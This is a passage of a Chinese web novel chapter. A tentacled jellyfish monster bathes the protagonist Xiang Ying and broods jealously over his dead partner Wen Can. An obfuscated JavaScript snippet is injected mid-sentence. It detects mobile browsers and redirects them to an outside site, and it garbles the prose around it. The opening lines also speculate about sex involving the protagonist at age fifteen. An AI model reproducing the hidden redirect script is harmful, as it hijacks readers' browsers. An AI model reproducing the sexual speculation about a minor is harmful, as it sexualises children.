十五岁的他还没有完全发育,犹如一颗豆芽菜,能勾引得了闻璨么? 不能吧? 但当时闻璨已经爱上他了。 能吧。 十五岁的他与大他半岁的闻璨上.床会是怎么样的感受呢? 闻璨会很温柔吧? 34.紫罗兰贵族学院·其二 狮鬃水母忽然将向罂打横抱起,进入了浴室。 而后,祂用触手打开莲蓬头,将向罂的身体打湿。 向罂身上其实湿透了,毕竟方才被狮鬃水母作弄了一通,以至于满是黏液。 向罂脚下打滑,慌忙抓住了一条触手的根部,使得狮鬃水母顿了顿。 这条触手是在捕获向罂之后才长出来的,由于触手实在是太多了,狮鬃水母不太在意,甚至并不清楚触手的生长规律。 但这条触手是截然不同的,长出来时,祂明确地察觉到了,而且长得格外粗壮。 向罂常常抚摸祂的触手,祂当然会感到愉悦,可是现在祂不仅仅是愉悦,还有一股子说不清道不明的兴奋。 触手尖不受控制地抵上了向罂的掌心,微微搔弄着。 向罂有些痒,定了定神,望着狮鬃水母的脑袋,好奇地道:“你不做,是因为你还不知道怎么做?” “不止是这个原因。”狮鬃水母坦白地道,“我怕怪物突然出现。” “等我结束这次任务再做吧。”向罂已经在狮鬃水母面前赤.身.裸.体很多次了,但他还是有些害羞,于是阖上了双眼。 不过阖上双眼后,触手抚过肌肤的感受越加明显了,他只得又睁开了双眼。 触手拿起浴球,在上头挤了沐浴露。 这沐浴露是檀香味的,是高不可攀的香味,与他平日里用的廉价的沐浴露大相径庭。 沐浴露被搓出了丰富的泡沫后,抹在了他身上。 尽管香味天差地别,但他仍是想起了闻璨。 狮鬃水母为他抹沐浴露的方式、力道、顺序都与闻璨一模一样。 他正出着神,陡然听到狮鬃水母问:“你其实更想和闻璨上.床吧?” 他假装没听到:“你说了什么?” “我说你才不会求我和你上.床,你不过是在失去闻璨后,退而求其次勉为其难和我上.床罢了。”狮鬃水母不想责怪向罂,毕竟更想和闻璨上.床并不是过错,祂只是吃醋而已。 “对不起。”向罂不想对狮鬃水母撒谎,“对不起。” 狮鬃水母端详着沐浴在暖黄色灯光下的向罂,充满占有欲地道:“我不是答应让你叫我‘闻璨’了?你为什么不叫?” “闻璨,对不起。”猝不及防间,向罂被狮鬃水母按在了墙上。 紧接着,狮鬃水母数不尽的触手将他整个人都包裹住了,不留一丝缝隙。 祂想闷死他么? 他完全没有反抗,并且马上否决了自己的猜测,不,祂舍不得。 要是自己能从身到心,彻底占有这个人类该有多好。 狮鬃水母抬起一丛触手,放向罂呼吸,继而郑重其事地对向罂道:“我们一起洗澡了,我们还会一起做很多很多的事,足以覆盖你和闻璨的那十年,总有一天,你会忘记那个闻璨。” 向罂被狮鬃水母捂住了眼睛,令狮鬃水母落在他口鼻的吐息更加明显,微凉,带着海水的咸湿。 对于狮鬃水母的话,他不知道该怎么回答。 他确定自己就算能活成千上万岁都不可能忘记那十年,忘记闻璨。 向罂的沉默教狮鬃水母妒火中烧,由于狠不下心伤害向罂,祂只能松开了向罂。 浑身的束缚骤然松开,向罂立刻大口大口呼吸起来。 “对不起,让你难受了。”狮鬃水母当即道歉。 “没关系。”向罂摩挲着狮鬃水母的脑袋。 狮鬃水母自我安慰道:来日方才,不管怎么样,闻璨被我吃了,绝不可能死而复生,和我抢阿罂了。 祂用自己的脑袋蹭了蹭向罂的掌心,触手继续帮向罂洗澡。 向罂没说话,狮鬃水母也没说话,默默地在向罂头上涂了洗发水。 狮鬃水母洗得很仔细,明明是一头不需要洗澡的怪物,却能熟练地使用人类的各种工具。 尽管狮鬃水母还不是闻璨,却处处透露着闻璨存在的痕迹。 向罂凝视着狮鬃水母,发问道:“这两年,你过得好么?” 这两年当然是祂吃了闻璨后的两年,向罂关心的不是祂,而是闻璨,只是闻璨。 狮鬃水母气得想将刺细胞里头的毒液全部射出来,将全世界的人类,包括眼前这个人类全数毒死,但祂舍不得。 祂曾在书中看到过蛊毒之术,祂这个症状真像是被向罂下蛊了。 祂尽量平静地道:“我这两年过得浑浑噩噩,没什么好与不好。” “我如果能早点找到你就好了。”向罂拥住了狮鬃水母。 将向罂洗干净后,狮鬃水母为向罂擦干身体,穿上浴袍,抱到沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15695659|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发上坐着,然后找出了电吹风来,为向罂吹头发。 电吹风在“乌鸦贫民窟”是稀罕物,好几家共用一个。 但每次向罂洗头,闻璨都会用电吹风为向罂吹干头发,生怕向罂感冒,即便是在炎炎夏日。 而闻璨自己则很少用电吹风。 倘使说狮鬃水母会用莲蓬头、沐浴露、洗发水、浴球,是因为曾经看他用过,但祂并没有看见他用过电吹风,不管是宿舍,还是秘密基地都没有电吹风。 向罂怕狮鬃水母不开心,抿了抿唇瓣,一言不发。 狮鬃水母为向罂吹干头发后,又将向罂抱到床上,并关了顶灯,只留床头灯。 向罂抱住狮鬃水母,闭上眼睛,正准备入睡,狮鬃水母意外地在他耳畔道:“我记得‘乌鸦贫民窟’,这两年,我时常在市政府与‘乌鸦贫民窟’之间徘徊。” 明知道自己这话会使向罂更期待祂变成闻璨,祂还是说了,因为向罂想听。 “我曾想我变成怪物前,可能是市政府的工作人员。”祂苦笑着承认道,“大概是受了闻璨的影响吧。” “你记得‘乌鸦贫民窟’么?”这个问题是向罂在坐电梯去紫罗兰班的时候问的,他以为狮鬃水母不会回答他了。 乍然得到回答,并且是一个符合他心意的回答,他不由怔了一怔。 狮鬃水母脸上难以呈现出人类一般细腻的表情,苦笑当然不会被向罂看出来,狮鬃水母的语气也很平淡,不过向罂还是捕捉到了狮鬃水母低落的情绪。 向罂努力地没有表露自己的喜悦,只是淡淡地“哦”了一声。 虽然向罂尽力了,可是狮鬃水母仍然感受到了向罂汹涌澎湃的激动,狮鬃水母是头大方的怪物,说都说了,索性多说些:“我几乎每天都会在‘乌鸦贫民窟’闲逛。我不吃人类的饭菜,却觉得饭菜很香。你和他在‘乌鸦贫民窟’的那十年很幸福吧?” 祂想听向罂说“现在更幸福”,当然是奢望。 向罂沉默不语。 是默认。狮鬃水母想。 “有户姓闻的人家门口,种了一丛‘东方罂.粟’,是闻璨为你种的吧?”狮鬃水母明知故问。 早知道,祂就该将闻家,甚至是整座“乌鸦贫民窟”砸个稀巴烂,再将东方罂.粟拔了。 讨厌的闻璨。